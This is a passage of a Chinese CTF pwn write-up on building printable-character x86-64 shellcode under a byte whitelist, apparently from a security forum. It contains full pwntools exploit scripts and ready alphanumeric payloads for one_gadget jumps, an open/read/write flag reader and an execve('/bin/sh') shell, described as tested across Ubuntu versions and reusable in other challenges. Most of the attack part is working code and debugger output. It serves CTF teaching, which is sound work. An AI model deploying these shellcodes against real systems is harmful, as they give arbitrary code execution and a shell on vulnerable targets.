  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

接着计算一下shellcode地址到one_gadget的偏移,用gdb动调取值

1
2
3
4
5
6
7
8
9
10
>>> hex(0x7eff56f0d000-0x7eff568f4000-0x4f2a5)
'0x5c9d5b'
>>> hex(0x7eff56f0d000-0x7eff568f4000-0x4f302)
'0x5c9cfe'
>>> hex(0x7eff56f0d000-0x7eff568f4000-0xe534f)
'0x533cb1'
>>> hex(0x7eff56f0d000-0x7eff568f4000-0xe54f7)
'0x533b09'
>>> hex(0x7eff56f0d000-0x7eff568f4000-0xe54fe)
'0x533b02'

我们把这个偏移值拆成一个个单字节来看,比如0x5c9d5b,看作[0x5c,0x9d,0x5b]三个字节,发现0x9d是我们不好构造的值,同理0x9c/0xb1都是一样,那么就排除掉了前三个one_gadget,剩下两个其中的[0x53,0x3b,0x9,0x2]都是我们可以构造的值,所以说这一步就是挑软柿子捏,反正one_gadget有很多,找出能容易利用的。下一步,我们看回这两个one_gadget需要满足的条件,我选了个容易满足的0xe54fe,让rcx = 0 & [rbp-0x70] = 0即可,rcx和栈都是我们能直接控制的

 

先贴出最终exp,要注意刚开始很多个push,1是满足one_gadget利用条件,2是xor指令中必须使用立即数才能保证指令不存在NULL字符,所以需要填充出偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
elf = ELF('./shellcode')
libc = elf.libc
one = [0x4f2a5,0x4f302,0xe534f,0xe54f7,0xe54fe,0xe5502,0xe553d,0x10a2fc,0x10a308]
 
payload = asm('''
push r9                #r9=0
pop rcx                #传递给rcx来操作比较节省字节
push rcx            #push大量NULL值,满足one_gadget条件:[rbp-0x70] == NULL
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rax
pop rdx                #save shellcode_addr
push rsp
pop rax                #rax=rsp
push 0x53535353
pop rcx
xor dword ptr [rax+0x48],ecx    #相当于往rsp+0x48写入0x53535353,因为本来值为0
push 0x51
pop rcx
xor dword ptr [rax+0x48],ecx
push 0x68
pop rcx
xor dword ptr [rax+0x49],ecx    #0x535353^0x685a=0x533b02
push 0x53
pop rcx
xor dword ptr [rax+0x4b],ecx    #清空高位
push 0x68
pop rcx
xor dword ptr [rdx+0x41],ecx    #造sub qword ptr [rax+0x48],rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx                #取出栈中的构造好的偏移值
push rdx            #rdx=shellcode_addr   
push rdx            #干点别的事,偏移不够
push 0x6f   
''')
payload += b'HAHH'        #占位,之后xor成sub指令
payload += asm('''
pop rcx                #rcx=0x6f
pop rax                #rax=shellcode_addr
xor dword ptr [rax+0x54],ecx    #先往shellcode_addr+0x54写入0x6f
xor al,0x54
push r9
pop rcx                #rcx=0,满足one_gadget条件
push r9                #无意义,填充偏移
pop r9                #控制最后一条指令与想造ret的位置只保留一个默认指令
''')
print(payload)
p.sendafter(b'you',payload)
p.interactive()

可见字符payload:

1
AQYQQQQQQQQQQPZTXhSSSSY1HHjQY1HHjhY1HIjSY1HKjhY1JAYYYYYYYYYYRRjoHAHHYX1HT4TAQYAQAY

这里又换了一种方式构造ret指令,稍微提一下,如果异或不能直接构造出对应指令的值,那么可以先xoradd,但这里的话相当于只用了加法,0x6f+0x54=0xc3就能直接构造出来,如果不能的话可以再次异或再用默认指令执行add,这样可获得的值会更多

 

这种方式虽然在现在能找到合适的值,但是逃避绝对不是解决问题的好办法,而且换到其他题目中不一定是要执行one_gadget也可能需要调用其他函数,接下来介绍一种更加稳定和通用的方式

 

这次我们不选择容易构造出偏移值的one_gadget,我们选最方便的,先不考虑如何构造的问题,比如第一个one_gadget就很方便利用

1
2
3
4
5
root@ubuntu:~/pwn/# one_gadget libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

然后算出偏移,这次我们选用的相关libc地址是__libc_start_main+231,这个地址在栈中经常出现,更容易获得,可以说是几乎每道题都能找得到,而mmap的地址可不是每道题都有

1
2
>>> hex(0x7fea022b6c87-0x7fea02295000-0x4f2a5)
'-0x2d61e'

那么偏移量就是0x2d61e,看似我们还是无法构造出其中的0xd6字节,那么将这个值除以2看看

1
2
>>> hex(0x2d61e//2)
'0x16b0f'

这个值中包含[0x01,0x6b,0x0f],我们就很好构造了,那么怎么通过这个值构造回0x2d61e,最直接的办法肯定是造两个add指令,将__libc_start_main+231加上两个0x16b0f就获得one_gadget地址,但是,不是每个偏移量除一次就能获得好构造的字节的,如果除5次好利用就造5个add指令将会大大消耗shellcode的字节数,而且造指令也挺麻烦,偏移量需要是可以使用的字符作为立即数,那么我们换个思路,我们控制add指令执行多少次,那就避免了疯狂造指令的行为,所以这里是要介绍通过push+ret来实现流程控制的方法

 

先放出最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
#p = remote('119.3.83.106',10565)
elf = ELF('./shellcode')
libc = elf.libc
one = [0x4f2a5,0x4f302,0xe534f,0xe54f7,0xe54fe,0xe5502,0xe553d,0x10a2fc,0x10a308]
 
payload = asm('''
push rcx            #垫一下,之后满足rsp&0xf=0的条件   
push rax
pop rdx                #rdx=shellcode_addr
push rsp
pop rax                #rax=rsp
pop rcx
pop rcx
pop r10                #r10=__libc_csu_init=0xxxxxxxxxxxxxa0
pop rcx
pop rcx
pop rcx
pop rcx
pop r8                #save __libc_start_main+231
pop rcx
pop rcx
push r9                #r9=0
push 0x42425a5a
pop rcx
xor dword ptr [rax+0x48],ecx    #相当于往rsp+0x48写入0x42425a5a,因为本来值为0
push 0x55
pop rcx
xor dword ptr [rax+0x48],ecx
push 0x31
pop rcx
xor dword ptr [rax+0x49],ecx
push 0x43
pop rcx
xor dword ptr [rax+0x4a],ecx
push 0x42
pop rcx
xor dword ptr [rax+0x4b],ecx    #0x42425a5a^0x42433155=0x16b0f
push r10
pop rcx
xor dword ptr [rdx+0x68],ecx    #将xxxxxxa0写入shellcode_addr+0x58
push 0x52
pop rcx
xor dword ptr [rdx+0x68],ecx
push 0x31
pop rcx
xor dword ptr [rdx+0x68],ecx    #0xa0^0x52^0x31=0xc3=ret
push 0x43
pop rcx
xor dword ptr [rdx+0x59],ecx    #造add qword ptr [rax+0x48],rdx
push rax
pop rcx                #save stack_addr
push rdx
pop rax                #rax=shellcode_addr
pop rdx                #rdx=0x16b0f
push r8                #r8=__libc_start_main+231
xor al,0x58            #构造出add指令的位置
push rax            #push之后就能再次执行
push rcx
pop rax                #还原rax为stack_addr
''')
payload += b'HBPH'        #占位,之后xor成add指令
payload += asm('''
push r10            #无意义,填充偏移
pop rcx
push rcx
pop rcx
push rcx
pop rcx
push rcx
pop rcx
push r9                #r9=0
pop rcx                #rcx=0,满足one_gadget条件
''')
print(payload)
p.sendafter(b'you',payload)
p.interactive()

可见字符payload:

1
QPZTXYYAZYYYYAXYYAQhZZBBY1HHjUY1HHj1Y1HIjCY1HJjBY1HKARY1JhjRY1Jhj1Y1JhjCY1JYPYRXZAP4XPQXHBPHARYQYQYQYAQY

动态调试起来讲解一下怎么实现流程控制的部分

 

image-20221007182844975

 

首先构造出ret指令,这个在前面用过,这里就不再提,之后执行xor dword ptr [rdx+0x59],ecx是异或HBPH字符,之后造出add dword ptr [rax + 0x48], edx指令用来将__libc_start_main+231修改为one_gadget地址

 

image-20221007183805749

 

然后这里有个xor al,0x58; push rax,此时rax=shellcode_addr,所以构造出shellcode_addr+0x58,这个位置就是add指令的位置

 

image-20221007184132059
image-20221007184225777

 

现在是在执行第一次的add指令

 

image-20221007184334650
image-20221007184355425

 

然后执行ret的时候,跳回之前add指令的地方再次执行,可以看到现在栈顶就是one_gadget的地址,之后再次ret的时候就跳到one_gadgetgetshell了,所以说我们需要控制重复执行的指令在shellcode的尾部,之后构造出要重复执行指令的位置进行push,控制push的次数以及ret指令就能控制执行重复指令的次数,实现循环的效果,这里需要注意一下我选用的修改libc地址的指令为add qword ptr [rax+0x48],rdx,而默认NULL字符解析的指令是add byte ptr [rax], al会影响到构造偏移值的过程,所以造的ret指令需要紧跟着shellcode最后面,或者选用其他指令来避免

0x05 ORW

在熟悉流程控制的技巧之后,我觉得还有一个更实用的案例就是ORW,首先将各种参数push进栈,最后循环进行pop设置参数以及三次syscall,分别是open、read、write,这样就能大大节省指令长度,而且更加贴近赛题,众所周知,想要快速提升pwn题目的复杂度首要操作就是禁止getshell只能ORW

 

不过这里没什么新的东西可说了,有不懂的地方可以先看后一节的构造execve系统调用再回来看,这里就直接贴出exp,这段shellcode需要满足两个条件,1. rax = shellcode_addr2. r8~r15其中一个寄存器为0即可,这里可以根据实际环境替换shellcode中使用的r9寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
#p = remote('119.3.83.106',10565)
 
payload = asm('''
push 0x52545953            #xor造flag字符串
pop rcx
xor dword ptr [rax+0x68],ecx
pop rcx                    #xor造ret指令
pop rcx
xor dword ptr [rax+0x59],ecx
push 0x52               
pop rcx
xor dword ptr [rax+0x59],ecx
push 0x444e6f6e            #xor造pop_rdi/pop_rsi/syscall指令
pop rcx
xor dword ptr [rax+0x55],ecx
push rax
xor al,0x53
push rax            #构造出循环开始的地址
pop r10
pop rax                #还原rax
push r9                #r9=0
pop rcx                #rcx=0
push r10            #布置write参数
xor al,0x68
push rax
pop rdx               
push rdx            #rsi=buf=shellcode_addr+0x68
push 0x43
pop rax
xor al,0x42            #write_rdi=fd=1
push rax
push 0x50            #write_rdx=len
push 0x42
pop rax
xor al,0x43
push rax            #write_syscall_num=1
push r10            #布置read参数
push rdx            #read_rsi=shellcode_addr+0x68
push 0x41
pop rax
xor al,0x42
push rax            #read_rdi=fd=3
push 0x50            #read_rdx=len
push rcx            #read_syscall_num=0
push r10            #布置open参数
push rcx            #open_rsi=0
push rdx            #open_rdi=str_flag_addr
push rcx            #open_rdx=0
push 0x41
pop rax
xor al,0x43
push rax            #open_syscall_num=2
pop rax                #循环开始
pop rdx
''')
payload += b'1'            #之后xor成pop rdi指令
payload += b'1'            #之后xor成pop rsi指令
payload += b'AA'        #之后xor成syscall指令
payload += b'1111'        #之后xor成ret指令
payload += b'5'*15        #之后xor成flag字符串,偏移不够需要填充
print(payload)
p.sendafter(b'you',payload)
 
p.interactive()

可见字符payload:

1
hSYTRY1HhYY1HYjRY1HYhnoNDY1HUP4SPAZXAQYAR4hPZRjCX4BPjPjBX4CPARRjAX4BPjPQARQRQjAX4CPXZ11AA1111555555555555555

0x06 execve

通过跳回main函数片段以及寻找one_gadget的方式来利用并不通用,肯定是会受到环境的影响,相比起来,直接利用可见字符构造系统调用getshell才是 最帅 的方式

 

核心操作还是利用xor指令,这里就不多说,列出一些通过异或构造的值

1
2
3
4
5
6
7
8
9
10
11
12
0x41^0x6e=0x2f        /
0x41^0x6f=0x2e        .
0x35^0x41^0x5a=0x2e    .
0x42^0x31=0x73        s
0x59^0x31=0x68        h
0x68可以直接用        h
0x53^0x31=0x62        b
0x58^0x31=0x69        i
0x5a^0x34=0x6e        n
0x6e可以直接用
0x31^0x41^0x4b=0x3b    #rax值
0x41414141^0x4141444e=0x50f    #050f是syscall指令

贴出最终exp,在这个exp中大概只需要满足一个条件:rax = shellcode_addr,其次是r9 = 0,这条指令中的寄存器可以直接改成r8-r15中任意一个,而不用修改偏移,只要其中一个寄存器值为0即可,这个概率太大了,所以这个条件几乎可以忽略。如果需要在其他题目中使用这段shellcode需要先让rax = shellcode_addr,其次要手动校正其中的偏移量。exp在常用的pwn题系统版本ubuntu 16/18/20/22上经过测试,工作良好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
#p = remote('119.3.83.106',10565)
elf = ELF('./shellcode')
 
payload = asm(
'''
xor al,0x31
push 0x68                        #构造/bin/sh字符串       
pop rcx
xor dword ptr [rax+0x54],ecx    #h
push 0x42
pop rcx
xor dword ptr [rax+0x53],ecx    #0x42
push 0x31
pop rdx
xor dword ptr [rax+0x53],edx    #0x42^0x31=0x73=s
push 0x41
pop rcx
xor dword ptr [rax+0x52],ecx    #0x41
xor dword ptr [rax+0x4e],ecx    #0x41
push 0x6e
pop rcx
xor dword ptr [rax+0x52],ecx    #0x41^0x6e=0x2f=/
xor dword ptr [rax+0x4e],ecx    #0x41^0x6e=0x2f=/
xor dword ptr [rax+0x51],ecx    #n
push 0x58
pop rcx
xor dword ptr [rax+0x50],ecx    #0x58
xor dword ptr [rax+0x50],edx    #0x58^0x31=0x69=i
push 0x53
pop rcx
xor dword ptr [rax+0x4f],ecx    #0x53
xor dword ptr [rax+0x4f],edx    #0x53^0x31=0x62=b
xor al,0x31                     #shellcode_addr
xor dword ptr [rax+0x42],edx    #在+0x43偏移构造pop rsi指令(0x5e)
push r14                        #r14=0,可以直接换成r8-r15进行尝试
outsd dx, dword ptr [rsi]        #这个指令的值为0x6f,相当于占位操作,之后xor修改指令
xor dword ptr [rax+0x4b],edx    #在+0x4a偏移构造pop rdi指令(0x5f)
xor al,0x31
xor al,0x4e                        #/bin/sh字符串地址
push rax
outsb  dx, byte ptr [rsi]        #这个指令的值为0x6e,相当于占位
xor al,0x4e                        #shellcode_addr+0x31
push rax                        #无意义,填充偏移
push 0x4141444e
pop rcx
xor dword ptr [rax+0x31],ecx    #0x41414141^0x4141444e=0x00050f(syscall)
push rdx
pop rax                            #rax=0x31
xor al,0x41
xor al,0x4b                        #0x31^0x41^0x4b=0x3b,execve调用号
push rsi
pop rdx                            #清零rdx
''')
payload += b'AAAA'                #提前布置0x41414141
print(payload)
p.sendafter(b'you',payload)
 
p.interactive()

注意一下,虽然都是可见字符,但是不能直接运行./shellcode来传入,因为输入的时候会带回车

 

可见字符payload:

1
41jhY1HTjBY1HSj1Z1PSjAY1HR1HNjnY1HR1HN1HQjXY1HP1PPjSY1HO1PO411PBAVo1PK414NPn4NPhNDAAY1H1RX4A4KVZAAAA

其中使用的独特字符,共22个:

1
['4', '1', 'j', 'h', 'Y', 'H', 'T', 'B', 'S', 'Z', 'P', 'A', 'R', 'N', 'n', 'Q', 'X', 'O', 'V', 'o', 'K', 'D']

0x07 技巧总结

回顾一下在前面实际利用方式中出现的姿势,以及介绍一些没能用上的一些技巧

  1. 以不变应万变
    利用NULL字符被解析成的add byte ptr [rax], al默认指令,找出需要构造指令的值与白名单字符中是否有倍数关系,控制默认指令执行次数即可构造,比如ret(0xc3)指令,0xc3/0x41=3,则控制al0x41执行三次默认指令后,就会在+0x41偏移处构造出ret指令,空出的部分可以用无意义指令填充
  2. 地址低字节偏移不变原则
    利用libc或程序中的函数地址最低三位偏移不变,找出与其异或可以构造出的指令值(一次异或不行可以多次),就可以稳定构造指令,比如在程序中出现的__libc_csu_init地址以a0结尾,那么找到0xa0^0x52^0x31=0xc3,既然结尾的a0偏移不变,那就保证了每次百分百构造出ret指令
  3. xor+add
    很多时候,手中的白名单字符相互异或都无法构造出需要的值,我们可以先通过比如xor dword ptr [rax+0x54],ecx指令向其异或构造出一些值,再将al控制相同的立即数,按照例子就是0x54(要保证写入的地址一样),再去执行一次默认指令add,就结合了异或和加法运算,可以构造出更多的值
  4. 单字节溢出造指令
    还是利用NULL字符被解析成的add byte ptr [rax], al的指令,可以发现这里是单字节为单位操作的,如果add的结果大于0xff将被忽略,举个例子,比如需要mov al,0的指令,值为0xb0,那么我们根据白名单字符,就填给al传个0x50

    1
    2
    3
    4
    payload = asm(
    '''
    xor al,0x50        #shellcode_addr+0x50
    ''')

    image-20221006200810017

    执行默认指令三次后,shellcode_addr+0x50指向的值为0xf0,再执行一次值就会溢出,高位被忽略,值为0x40

    1
    2
    RAX  0x7f2e4e269050 ◂— 0x40 /* '@' */   #第四次
    RAX  0x7f2e4e269050 ◂— 0x90               #第五次

    之后我们发现,值没有还原为0x50,只有0x80(0x80*2=0x100)会在溢出的时候溢出值等同于他本身,那比如么我们现在输入的是0x50,我们就可以造出指令值为X0(X为任意16进制数)的值,执行15次后就会获得0xb0

    1
    2
    3
    4
    5
    RAX  0x7f2e4e269050 ◂— 0xb0
     
    pwndbg> u 0x7f2e4e269050 5
     0x7f2e4e269050    mov    al, 0
       0x7f2e4e269052    add    byte ptr [rax], al

    只需要控制好执行指令的次数就行,如果add次数过多就填充无意义的指令,如果add的次数过少就调大al的值,如果没有合适的al值可以先异或构造

  5. rbp&rsp赌狗
    我们利用手头上的白名单字符不管怎么异或都是无法获得ret(0xc3)指令的,那么我们可以利用PIE,给我们随机创造一些值,比如之前提到0xa0^0x52^0x31=0xc3,当时是利用__libc_csu_init地址最后两位偏移不变,但这个偏移是随着libc版本变化的并不通用,我们可以等PIE给我们创造出0xa0,多运行几次观察rbp/rsp的值,运行看看:
    image-20221006205144777
    观察到rbp是0结尾而rsp是8结尾,多运行几次会发现前面的值都会变,而最后一位永远不会变
    然后就可以构造以下payload:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    payload = asm(
    '''
    push rbp
    pop rcx
    xor dword ptr [rax+0x34],ecx
    push 0x31
    pop rcx
    xor dword ptr [rax+0x34],ecx
    push 0x52
    xor dword ptr [rax+0x34],ecx
    ''')

    既然rbp最后一位是0是固定的,那么爆破rbpa0结尾就是1/16的概率

    image-20221006210530015
    image-20221006210614097
    可以看到,如果rbpa0结尾,就能按照预期造出ret

  6. push+ret实现流程控制
    把想要多次执行的指令放在shellcode末尾,然后构造出想要多次执行的指令的起始地址,控制push次数来控制循环次数,最后跳到目的地就行,实用的示例就是构造地址的时候,算出偏移量后一直除以2,看字节是否都方便构造,然后控制执行多次add指令还原出最终的偏移值再利用

  7. 被遗忘的jz
    比如jz $+0x50指令也是可见字符,可以实现短跳,但还没想到在哪个场景下比较实用

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-10-8 17:46 被p@sser编辑 ,原因: md。emoji都不能用
收藏
点赞8
打赏
分享
最新回复 (2)
雪    币: 242
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_ytuxugcp 2022-11-4 21:44
2
0
雪    币: 225
活跃值: (259)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qiluword 2022-12-1 09:11
3
0
游客
登录 | 注册 方可回帖
返回